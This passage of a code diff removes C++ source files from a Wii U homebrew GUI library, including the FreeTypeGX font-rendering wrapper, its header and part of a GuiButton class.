|
||||
return NULL;
|
||||
}
|
||||
|
||||
/**
|
||||
* Locates each character in this wrapper's configured font face and proccess them.
|
||||
*
|
||||
* This routine locates each character in the configured font face and renders the glyph's bitmap.
|
||||
* Each bitmap and relevant information is loaded into its own quickly addressible structure within an instance-specific map.
|
||||
*/
|
||||
uint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize)
|
||||
{
|
||||
uint32_t i = 0;
|
||||
FT_UInt gIndex;
|
||||
|
||||
FT_ULong charCode = FT_Get_First_Char(ftFace, &gIndex);
|
||||
while (gIndex != 0)
|
||||
{
|
||||
if (cacheGlyphData(charCode, pixelSize) != NULL) ++i;
|
||||
charCode = FT_Get_Next_Char(ftFace, charCode, &gIndex);
|
||||
}
|
||||
return (uint16_t) (i);
|
||||
}
|
||||
|
||||
/**
|
||||
* Loads the rendered bitmap into the relevant structure's data buffer.
|
||||
*
|
||||
* This routine does a simple byte-wise copy of the glyph's rendered 8-bit grayscale bitmap into the structure's buffer.
|
||||
* Each byte is converted from the bitmap's intensity value into the a uint32_t RGBA value.
|
||||
*
|
||||
* @param bmp A pointer to the most recently rendered glyph's bitmap.
|
||||
* @param charData A pointer to an allocated ftgxCharData structure whose data represent that of the last rendered glyph.
|
||||
*/
|
||||
|
||||
void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData)
|
||||
{
|
||||
charData->texture->surface.image = (uint8_t *) memalign(charData->texture->surface.alignment, charData->texture->surface.imageSize);
|
||||
if(!charData->texture->surface.image)
|
||||
return;
|
||||
|
||||
memset(charData->texture->surface.image, 0x00, charData->texture->surface.imageSize);
|
||||
|
||||
uint8_t *src = (uint8_t *)bmp->buffer;
|
||||
uint16_t *dst = (uint16_t *)charData->texture->surface.image;
|
||||
int32_t x, y;
|
||||
|
||||
for(y = 0; y < bmp->rows; y++)
|
||||
{
|
||||
for(x = 0; x < bmp->width; x++)
|
||||
{
|
||||
uint8_t intensity = src[y * bmp->width + x] >> 3;
|
||||
dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0;
|
||||
}
|
||||
}
|
||||
GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, charData->texture->surface.image, charData->texture->surface.imageSize);
|
||||
}
|
||||
|
||||
/**
|
||||
* Determines the x offset of the rendered string.
|
||||
*
|
||||
* This routine calculates the x offset of the rendered string based off of a supplied positional format parameter.
|
||||
*
|
||||
* @param width Current pixel width of the string.
|
||||
* @param format Positional format of the string.
|
||||
*/
|
||||
int16_t FreeTypeGX::getStyleOffsetWidth(uint16_t width, uint16_t format)
|
||||
{
|
||||
if (format & FTGX_JUSTIFY_LEFT)
|
||||
return 0;
|
||||
else if (format & FTGX_JUSTIFY_CENTER)
|
||||
return -(width >> 1);
|
||||
else if (format & FTGX_JUSTIFY_RIGHT) return -width;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determines the y offset of the rendered string.
|
||||
*
|
||||
* This routine calculates the y offset of the rendered string based off of a supplied positional format parameter.
|
||||
*
|
||||
* @param offset Current pixel offset data of the string.
|
||||
* @param format Positional format of the string.
|
||||
*/
|
||||
int16_t FreeTypeGX::getStyleOffsetHeight(int16_t format, uint16_t pixelSize)
|
||||
{
|
||||
std::map<int16_t, ftGX2Data>::iterator itr = fontData.find(pixelSize);
|
||||
if (itr == fontData.end()) return 0;
|
||||
|
||||
switch (format & FTGX_ALIGN_MASK)
|
||||
{
|
||||
case FTGX_ALIGN_TOP:
|
||||
return itr->second.ftgxAlign.descender;
|
||||
|
||||
case FTGX_ALIGN_MIDDLE:
|
||||
default:
|
||||
return (itr->second.ftgxAlign.ascender + itr->second.ftgxAlign.descender + 1) >> 1;
|
||||
|
||||
case FTGX_ALIGN_BOTTOM:
|
||||
return itr->second.ftgxAlign.ascender;
|
||||
|
||||
case FTGX_ALIGN_BASELINE:
|
||||
return 0;
|
||||
|
||||
case FTGX_ALIGN_GLYPH_TOP:
|
||||
return itr->second.ftgxAlign.max;
|
||||
|
||||
case FTGX_ALIGN_GLYPH_MIDDLE:
|
||||
return (itr->second.ftgxAlign.max + itr->second.ftgxAlign.min + 1) >> 1;
|
||||
|
||||
case FTGX_ALIGN_GLYPH_BOTTOM:
|
||||
return itr->second.ftgxAlign.min;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Processes the supplied text string and prints the results at the specified coordinates.
|
||||
*
|
||||
* This routine processes each character of the supplied text string, loads the relevant preprocessed bitmap buffer,
|
||||
* a texture from said buffer, and loads the resultant texture into the EFB.
|
||||
*
|
||||
* @param x Screen X coordinate at which to output the text.
|
||||
* @param y Screen Y coordinate at which to output the text. Note that this value corresponds to the text string origin and not the top or bottom of the glyphs.
|
||||
* @param text NULL terminated string to output.
|
||||
* @param color Optional color to apply to the text characters. If not specified default value is ftgxWhite: (GXColor){0xff, 0xff, 0xff, 0xff}
|
||||
* @param textStyle Flags which specify any styling which should be applied to the rendered string.
|
||||
* @return The number of characters printed.
|
||||
*/
|
||||
|
||||
uint16_t FreeTypeGX::drawText(CVideo *video, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, uint16_t textStyle, uint16_t textWidth, const float &textBlur, const float & colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale)
|
||||
{
|
||||
if (!text)
|
||||
return 0;
|
||||
|
||||
uint16_t fullTextWidth = (textWidth > 0) ? textWidth : getWidth(text, pixelSize);
|
||||
uint16_t x_pos = x, printed = 0;
|
||||
uint16_t x_offset = 0, y_offset = 0;
|
||||
FT_Vector pairDelta;
|
||||
|
||||
if (textStyle & FTGX_JUSTIFY_MASK)
|
||||
{
|
||||
x_offset = getStyleOffsetWidth(fullTextWidth, textStyle);
|
||||
}
|
||||
if (textStyle & FTGX_ALIGN_MASK)
|
||||
{
|
||||
y_offset = getStyleOffsetHeight(textStyle, pixelSize);
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
|
||||
while (text[i])
|
||||
{
|
||||
ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);
|
||||
|
||||
if (glyphData != NULL)
|
||||
{
|
||||
if (ftKerningEnabled && i > 0)
|
||||
{
|
||||
FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);
|
||||
x_pos += (pairDelta.x >> 6);
|
||||
|
||||
}
|
||||
copyTextureToFramebuffer(video, glyphData->texture,x_pos + glyphData->renderOffsetX + x_offset, y + glyphData->renderOffsetY - y_offset, z, color, textBlur, colorBlurIntensity, blurColor,internalRenderingScale);
|
||||
|
||||
x_pos += glyphData->glyphAdvanceX;
|
||||
++printed;
|
||||
}
|
||||
++i;
|
||||
}
|
||||
|
||||
return printed;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Processes the supplied string and return the width of the string in pixels.
|
||||
*
|
||||
* This routine processes each character of the supplied text string and calculates the width of the entire string.
|
||||
* Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function.
|
||||
*
|
||||
* @param text NULL terminated string to calculate.
|
||||
* @return The width of the text string in pixels.
|
||||
*/
|
||||
uint16_t FreeTypeGX::getWidth(const wchar_t *text, int16_t pixelSize)
|
||||
{
|
||||
if (!text) return 0;
|
||||
|
||||
uint16_t strWidth = 0;
|
||||
FT_Vector pairDelta;
|
||||
|
||||
int i = 0;
|
||||
while (text[i])
|
||||
{
|
||||
ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);
|
||||
|
||||
if (glyphData != NULL)
|
||||
{
|
||||
if (ftKerningEnabled && (i > 0))
|
||||
{
|
||||
FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);
|
||||
strWidth += pairDelta.x >> 6;
|
||||
}
|
||||
|
||||
strWidth += glyphData->glyphAdvanceX;
|
||||
}
|
||||
++i;
|
||||
}
|
||||
return strWidth;
|
||||
}
|
||||
|
||||
/**
|
||||
* Single char width
|
||||
*/
|
||||
uint16_t FreeTypeGX::getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar)
|
||||
{
|
||||
uint16_t strWidth = 0;
|
||||
ftgxCharData * glyphData = cacheGlyphData(wChar, pixelSize);
|
||||
|
||||
if (glyphData != NULL)
|
||||
{
|
||||
if (ftKerningEnabled && prevChar != 0x0000)
|
||||
{
|
||||
FT_Vector pairDelta;
|
||||
FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[prevChar].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);
|
||||
strWidth += pairDelta.x >> 6;
|
||||
}
|
||||
strWidth += glyphData->glyphAdvanceX;
|
||||
}
|
||||
|
||||
return strWidth;
|
||||
}
|
||||
|
||||
/**
|
||||
* Processes the supplied string and return the height of the string in pixels.
|
||||
*
|
||||
* This routine processes each character of the supplied text string and calculates the height of the entire string.
|
||||
* Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function.
|
||||
*
|
||||
* @param text NULL terminated string to calculate.
|
||||
* @return The height of the text string in pixels.
|
||||
*/
|
||||
uint16_t FreeTypeGX::getHeight(const wchar_t *text, int16_t pixelSize)
|
||||
{
|
||||
getOffset(text, pixelSize);
|
||||
return fontData[pixelSize].ftgxAlign.max - fontData[pixelSize].ftgxAlign.min;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the maximum offset above and minimum offset below the font origin line.
|
||||
*
|
||||
* This function calculates the maximum pixel height above the font origin line and the minimum
|
||||
* pixel height below the font origin line and returns the values in an addressible structure.
|
||||
*
|
||||
* @param text NULL terminated string to calculate.
|
||||
* @param offset returns the max and min values above and below the font origin line
|
||||
*
|
||||
*/
|
||||
void FreeTypeGX::getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit)
|
||||
{
|
||||
if (fontData.find(pixelSize) != fontData.end())
|
||||
return;
|
||||
|
||||
int16_t strMax = 0, strMin = 9999;
|
||||
uint16_t currWidth = 0;
|
||||
|
||||
int i = 0;
|
||||
|
||||
while (text[i])
|
||||
{
|
||||
if (widthLimit > 0 && currWidth >= widthLimit) break;
|
||||
|
||||
ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);
|
||||
|
||||
if (glyphData != NULL)
|
||||
{
|
||||
strMax = glyphData->renderOffsetMax > strMax ? glyphData->renderOffsetMax : strMax;
|
||||
strMin = glyphData->renderOffsetMin < strMin ? glyphData->renderOffsetMin : strMin;
|
||||
currWidth += glyphData->glyphAdvanceX;
|
||||
}
|
||||
|
||||
++i;
|
||||
}
|
||||
|
||||
if (ftPointSize != pixelSize)
|
||||
{
|
||||
ftPointSize = pixelSize;
|
||||
FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize);
|
||||
}
|
||||
|
||||
fontData[pixelSize].ftgxAlign.ascender = ftFace->size->metrics.ascender >> 6;
|
||||
fontData[pixelSize].ftgxAlign.descender = ftFace->size->metrics.descender >> 6;
|
||||
fontData[pixelSize].ftgxAlign.max = strMax;
|
||||
fontData[pixelSize].ftgxAlign.min = strMin;
|
||||
}
|
||||
|
||||
/**
|
||||
* Copies the supplied texture quad to the EFB.
|
||||
*
|
||||
* This routine uses the in-built GX quad builder functions to define the texture bounds and location on the EFB target.
|
||||
*
|
||||
* @param texObj A pointer to the glyph's initialized texture object.
|
||||
* @param texWidth The pixel width of the texture object.
|
||||
* @param texHeight The pixel height of the texture object.
|
||||
* @param screenX The screen X coordinate at which to output the rendered texture.
|
||||
* @param screenY The screen Y coordinate at which to output the rendered texture.
|
||||
* @param color Color to apply to the texture.
|
||||
*/
|
||||
void FreeTypeGX::copyTextureToFramebuffer(CVideo *pVideo, GX2Texture *texture, int16_t x, int16_t y, int16_t z, const glm::vec4 & color, const float & defaultBlur, const float & blurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale)
|
||||
{
|
||||
static const f32 imageAngle = 0.0f;
|
||||
static const f32 blurScale = (2.0f/ (internalRenderingScale));
|
||||
|
||||
f32 offsetLeft = blurScale * ((f32)x + 0.5f * (f32)texture->surface.width) * (f32)pVideo->getWidthScaleFactor();
|
||||
f32 offsetTop = blurScale * ((f32)y - 0.5f * (f32)texture->surface.height) * (f32)pVideo->getHeightScaleFactor();
|
||||
|
||||
f32 widthScale = blurScale * (f32)texture->surface.width * pVideo->getWidthScaleFactor();
|
||||
f32 heightScale = blurScale * (f32)texture->surface.height * pVideo->getHeightScaleFactor();
|
||||
|
||||
glm::vec3 positionOffsets( offsetLeft, offsetTop, (f32)z );
|
||||
|
||||
//! blur doubles due to blur we have to scale the texture
|
||||
glm::vec3 scaleFactor( widthScale, heightScale, 1.0f );
|
||||
|
||||
glm::vec3 blurDirection;
|
||||
blurDirection[2] = 1.0f;
|
||||
|
||||
Texture2DShader::instance()->setShaders();
|
||||
Texture2DShader::instance()->setAttributeBuffer();
|
||||
Texture2DShader::instance()->setAngle(imageAngle);
|
||||
Texture2DShader::instance()->setOffset(positionOffsets);
|
||||
Texture2DShader::instance()->setScale(scaleFactor);
|
||||
Texture2DShader::instance()->setTextureAndSampler(texture, &ftSampler);
|
||||
|
||||
if(blurIntensity > 0.0f)
|
||||
{
|
||||
//! glow blur color
|
||||
Texture2DShader::instance()->setColorIntensity(blurColor);
|
||||
|
||||
//! glow blur horizontal
|
||||
blurDirection[0] = blurIntensity;
|
||||
blurDirection[1] = 0.0f;
|
||||
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||
Texture2DShader::instance()->draw();
|
||||
|
||||
//! glow blur vertical
|
||||
blurDirection[0] = 0.0f;
|
||||
blurDirection[1] = blurIntensity;
|
||||
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||
Texture2DShader::instance()->draw();
|
||||
}
|
||||
|
||||
//! set text color
|
||||
Texture2DShader::instance()->setColorIntensity(color);
|
||||
|
||||
//! blur horizontal
|
||||
blurDirection[0] = defaultBlur;
|
||||
blurDirection[1] = 0.0f;
|
||||
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||
Texture2DShader::instance()->draw();
|
||||
|
||||
//! blur vertical
|
||||
blurDirection[0] = 0.0f;
|
||||
blurDirection[1] = defaultBlur;
|
||||
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||
Texture2DShader::instance()->draw();
|
||||
}
|
@ -1,154 +0,0 @@
|
||||
/*
|
||||
* FreeTypeGX is a wrapper class for libFreeType which renders a compiled
|
||||
* FreeType parsable font into a GX texture for Wii homebrew development.
|
||||
* Copyright (C) 2008 Armin Tamzarian
|
||||
* Modified by Dimok, 2015 for WiiU GX2
|
||||
*
|
||||
* This file is part of FreeTypeGX.
|
||||
*
|
||||
* FreeTypeGX is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU Lesser General Public License as published
|
||||
* by the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* FreeTypeGX is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public License
|
||||
* along with FreeTypeGX. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#ifndef FREETYPEGX_H_
|
||||
#define FREETYPEGX_H_
|
||||
|
||||
#include <string>
|
||||
#include <ft2build.h>
|
||||
#include FT_FREETYPE_H
|
||||
#include FT_BITMAP_H
|
||||
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include <wchar.h>
|
||||
#include <map>
|
||||
|
||||
#include <glm/glm.hpp>
|
||||
#include <glm/gtc/matrix_transform.hpp>
|
||||
|
||||
#include "common/types.h"
|
||||
|
||||
/*! \struct ftgxCharData_
|
||||
*
|
||||
* Font face character glyph relevant data structure.
|
||||
*/
|
||||
typedef struct ftgxCharData_
|
||||
{
|
||||
int16_t renderOffsetX; /**< Texture X axis bearing offset. */
|
||||
uint16_t glyphAdvanceX; /**< Character glyph X coordinate advance in pixels. */
|
||||
uint16_t glyphAdvanceY; /**< Character glyph Y coordinate advance in pixels. */
|
||||
uint32_t glyphIndex; /**< Charachter glyph index in the font face. */
|
||||
|
||||
int16_t renderOffsetY; /**< Texture Y axis bearing offset. */
|
||||
int16_t renderOffsetMax; /**< Texture Y axis bearing maximum value. */
|
||||
int16_t renderOffsetMin; /**< Texture Y axis bearing minimum value. */
|
||||
|
||||
GX2Texture * texture;
|
||||
} ftgxCharData;
|
||||
|
||||
/*! \struct ftgxDataOffset_
|
||||
*
|
||||
* Offset structure which hold both a maximum and minimum value.
|
||||
*/
|
||||
typedef struct ftgxDataOffset_
|
||||
{
|
||||
int16_t ascender; /**< Maximum data offset. */
|
||||
int16_t descender; /**< Minimum data offset. */
|
||||
int16_t max; /**< Maximum data offset. */
|
||||
int16_t min; /**< Minimum data offset. */
|
||||
} ftgxDataOffset;
|
||||
|
||||
typedef struct ftgxCharData_ ftgxCharData;
|
||||
typedef struct ftgxDataOffset_ ftgxDataOffset;
|
||||
#define _TEXT(t) L ## t /**< Unicode helper macro. */
|
||||
|
||||
#define FTGX_NULL 0x0000
|
||||
#define FTGX_JUSTIFY_LEFT 0x0001
|
||||
#define FTGX_JUSTIFY_CENTER 0x0002
|
||||
#define FTGX_JUSTIFY_RIGHT 0x0004
|
||||
#define FTGX_JUSTIFY_MASK 0x000f
|
||||
|
||||
#define FTGX_ALIGN_TOP 0x0010
|
||||
#define FTGX_ALIGN_MIDDLE 0x0020
|
||||
#define FTGX_ALIGN_BOTTOM 0x0040
|
||||
#define FTGX_ALIGN_BASELINE 0x0080
|
||||
#define FTGX_ALIGN_GLYPH_TOP 0x0100
|
||||
#define FTGX_ALIGN_GLYPH_MIDDLE 0x0200
|
||||
#define FTGX_ALIGN_GLYPH_BOTTOM 0x0400
|
||||
#define FTGX_ALIGN_MASK 0x0ff0
|
||||
|
||||
#define FTGX_STYLE_UNDERLINE 0x1000
|
||||
#define FTGX_STYLE_STRIKE 0x2000
|
||||
#define FTGX_STYLE_MASK 0xf000
|
||||
|
||||
/**< Constant color value used only to sanitize Doxygen documentation. */
|
||||
static const GX2ColorF32 ftgxWhite = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f };
|
||||
|
||||
|
||||
//! forward declaration
|
||||
class CVideo;
|
||||
|
||||
/*! \class FreeTypeGX
|
||||
* \brief Wrapper class for the libFreeType library with GX rendering.
|
||||
* \author Armin Tamzarian
|
||||
* \version 0.2.4
|
||||
*
|
||||
* FreeTypeGX acts as a wrapper class for the libFreeType library. It supports precaching of transformed glyph data into
|
||||
* a specified texture format. Rendering of the data to the EFB is accomplished through the application of high performance
|
||||
* GX texture functions resulting in high throughput of string rendering.
|
||||
*/
|
||||
class FreeTypeGX
|
||||
{
|
||||
private:
|
||||
FT_Library ftLibrary; /**< FreeType FT_Library instance. */
|
||||
FT_Face ftFace; /**< FreeType reusable FT_Face typographic object. */
|
||||
int16_t ftPointSize; /**< Current set size of the rendered font. */
|
||||
bool ftKerningEnabled; /**< Flag indicating the availability of font kerning data. */
|
||||
uint8_t vertexIndex; /**< Vertex format descriptor index. */
|
||||
GX2Sampler ftSampler;
|
||||
|
||||
typedef struct _ftGX2Data
|
||||
{
|
||||
ftgxDataOffset ftgxAlign;
|
||||
std::map<wchar_t, ftgxCharData> ftgxCharMap;
|
||||
} ftGX2Data;
|
||||
|
||||
std::map<int16_t, ftGX2Data> fontData; /**< Map which holds the glyph data structures for the corresponding characters in one size. */
|
||||
|
||||
int16_t getStyleOffsetWidth(uint16_t width, uint16_t format);
|
||||
int16_t getStyleOffsetHeight(int16_t format, uint16_t pixelSize);
|
||||
|
||||
void unloadFont();
|
||||
ftgxCharData *cacheGlyphData(wchar_t charCode, int16_t pixelSize);
|
||||
uint16_t cacheGlyphDataComplete(int16_t pixelSize);
|
||||
void loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData);
|
||||
|
||||
void copyTextureToFramebuffer(CVideo * pVideo, GX2Texture *tex, int16_t screenX, int16_t screenY, int16_t screenZ, const glm::vec4 & color, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale);
|
||||
|
||||
public:
|
||||
FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace = false);
|
||||
~FreeTypeGX();
|
||||
|
||||
uint16_t drawText(CVideo * pVideo, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color,
|
||||
uint16_t textStyling, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale);
|
||||
|
||||
uint16_t getWidth(const wchar_t *text, int16_t pixelSize);
|
||||
uint16_t getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar = 0x0000);
|
||||
uint16_t getHeight(const wchar_t *text, int16_t pixelSize);
|
||||
void getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit = 0);
|
||||
|
||||
static wchar_t* charToWideChar(const char* p);
|
||||
static char* wideCharToUTF8(const wchar_t* strChar);
|
||||
};
|
||||
|
||||
#endif /* FREETYPEGX_H_ */
|
@ -1,30 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef __GUI_H
|
||||
#define __GUI_H
|
||||
|
||||
#include "GuiElement.h"
|
||||
#include "GuiImageData.h"
|
||||
#include "GuiImage.h"
|
||||
#include "GuiFrame.h"
|
||||
#include "GuiController.h"
|
||||
#include "GuiText.h"
|
||||
#include "GuiSound.h"
|
||||
#include "GuiButton.h"
|
||||
#include "GuiTrigger.h"
|
||||
|
||||
#endif
|
@ -1,290 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "GuiButton.h"
|
||||
#include "GuiController.h"
|
||||
|
||||
/**
|
||||
* Constructor for the GuiButton class.
|
||||
*/
|
||||
|
||||
GuiButton::GuiButton(f32 w, f32 h)
|
||||
{
|
||||
width = w;
|
||||
height = h;
|
||||
image = NULL;
|
||||
imageOver = NULL;
|
||||
imageHold = NULL;
|
||||
imageClick = NULL;
|
||||
icon = NULL;
|
||||
iconOver = NULL;
|
||||
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
label[i] = NULL;
|
||||
labelOver[i] = NULL;
|
||||
labelHold[i] = NULL;
|
||||
labelClick[i] = NULL;
|
||||
}
|
||||
for(int i = 0; i < iMaxGuiTriggers; i++)
|
||||
{
|
||||
trigger[i] = NULL;
|
||||
}
|
||||
|
||||
soundOver = NULL;
|
||||
soundHold = NULL;
|
||||
soundClick = NULL;
|
||||
clickedTrigger = NULL;
|
||||
heldTrigger = NULL;
|
||||
selectable = true;
|
||||
holdable = false;
|
||||
clickable = true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Destructor for the GuiButton class.
|
||||
*/
|
||||
GuiButton::~GuiButton()
|
||||
{
|
||||
}
|
||||
|
||||
void GuiButton::setImage(GuiImage* img)
|
||||
{
|
||||
image = img;
|
||||
if(img) img->setParent(this);
|
||||
}
|
||||
void GuiButton::setImageOver(GuiImage* img)
|
||||
{
|
||||
imageOver = img;
|
||||
if(img) img->setParent(this);
|
||||
}
|
||||
void GuiButton::setImageHold(GuiImage* img)
|
||||
{
|
||||
imageHold = img;
|
||||
if(img) img->setParent(this);
|
||||
}
|
||||
void GuiButton::setImageClick(GuiImage* img)
|
||||
{
|
||||
imageClick = img;
|
||||
if(img) img->setParent(this);
|
||||
}
|
||||
void GuiButton::setIcon(GuiImage* img)
|
||||
{
|
||||
icon = img;
|
||||
if(img) img->setParent(this);
|
||||
}
|
||||
void GuiButton::setIconOver(GuiImage* img)
|
||||
{
|
||||
iconOver = img;
|
||||
if(img) img->setParent(this);
|
||||
}
|
||||
|
||||
void GuiButton::setLabel(GuiText* txt, int n)
|
||||
{
|
||||
label[n] = txt;
|
||||
if(txt) txt->setParent(this);
|
||||
}
|
||||
void GuiButton::setLabelOver(GuiText* txt, int n)
|
||||
{
|
||||
labelOver[n] = txt;
|
||||
if(txt) txt->setParent(this);
|
||||
}
|
||||
void GuiButton::setLabelHold(GuiText* txt, int n)
|
||||
{
|
||||
labelHold[n] = txt;
|
||||
if(txt) txt->setParent(this);
|
||||
}
|
||||
void GuiButton::setLabelClick(GuiText* txt, int n)
|
||||
{
|
||||
labelClick[n] = txt;
|
||||
if(txt) txt->setParent(this);
|
||||
}
|
||||
void GuiButton::setSoundOver(GuiSound * snd)
|
||||
{
|
||||
soundOver = snd;
|
||||
}
|
||||
void GuiButton::setSoundHold(GuiSound * snd)
|
||||
{
|
||||
soundHold = snd;
|
||||
}
|
||||
|
||||
void GuiButton::setSoundClick(GuiSound * snd)
|
||||
{
|
||||
soundClick = snd;
|
||||
}
|
||||
|
||||
void GuiButton::setTrigger(GuiTrigger * t, int idx)
|
||||
{
|
||||
if(idx >= 0 && idx < iMaxGuiTriggers)
|
||||
{
|
||||
trigger[idx] = t;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(int i = 0; i < iMaxGuiTriggers; i++)
|
||||
{
|
||||
if(!trigger[i])
|
||||
{
|
||||
trigger[i] = t;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void GuiButton::resetState(void)
|
||||
{
|
||||
clickedTrigger = NULL;
|
||||
heldTrigger = NULL;
|
||||
GuiElement::resetState();
|
||||
}
|
||||
|
||||
/**
|
||||
* Draw the button on screen
|
||||
*/
|
||||
void GuiButton::draw(CVideo *v)
|
||||
{
|
||||
if(!this->isVisible())
|
||||
return;
|
||||
|
||||
// draw image
|
||||
if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && imageOver)
|
||||
imageOver->draw(v);
|
||||
else if(image)
|
||||
image->draw(v);
|
||||
|
||||
if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && iconOver)
|
||||
iconOver->draw(v);
|
||||
else if(icon)
|
||||
icon->draw(v);
|
||||
|
||||
// draw text
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
if(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && labelOver[i])
|
||||
labelOver[i]->draw(v);
|
||||
else if(label[i])
|
||||
label[i]->draw(v);
|
||||
}
|
||||
}
|
||||
|
||||
void GuiButton::update(GuiController * c)
|
||||
{
|
||||
if(!c || isStateSet(STATE_DISABLED, c->chan) || isStateSet(STATE_HIDDEN, c->chan))
|
||||
return;
|
||||
else if(parentElement && (parentElement->isStateSet(STATE_DISABLED, c->chan) || parentElement->isStateSet(STATE_HIDDEN, c->chan)))
|
||||
return;
|
||||
|
||||
if(selectable)
|
||||
{
|
||||
if(c->data.validPointer && this->isInside(c->data.x, c->data.y))
|
||||
{
|
||||
if(!isStateSet(STATE_OVER, c->chan))
|
||||
{
|
||||
setState(STATE_OVER, c->chan);
|
||||
|
||||
//if(this->isRumbleActive())
|
||||
// this->rumble(t->chan);
|
||||
|
||||
if(soundOver)
|
||||
soundOver->Play();
|
||||
|
||||
if(effectsOver && !effects)
|
||||
{
|
||||
// initiate effects
|
||||
effects = effectsOver;
|
||||
effectAmount = effectAmountOver;
|
||||
effectTarget = effectTargetOver;
|
||||
}
|
||||
|
||||
pointedOn(this, c);
|
||||
}
|
||||
}
|
||||
else if(isStateSet(STATE_OVER, c->chan))
|
||||
{
|
||||
this->clearState(STATE_OVER, c->chan);
|
||||
pointedOff(this, c);
|
||||
|
||||
if(effectTarget == effectTargetOver && effectAmount == effectAmountOver)
|
||||
{
|
||||
// initiate effects (in reverse)
|
||||
effects = effectsOver;
|
||||
effectAmount = -effectAmountOver;
|
||||
effectTarget = 100;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for(int i = 0; i < iMaxGuiTriggers; i++)
|
||||
{
|
||||
if(!trigger[i])
|
||||
continue;
|
||||
|
||||
// button triggers
|
||||
if(clickable)
|
||||
{
|
||||
bool isClicked = trigger[i]->clicked(c);
|
||||
|
||||
if( !clickedTrigger && isClicked
|
||||
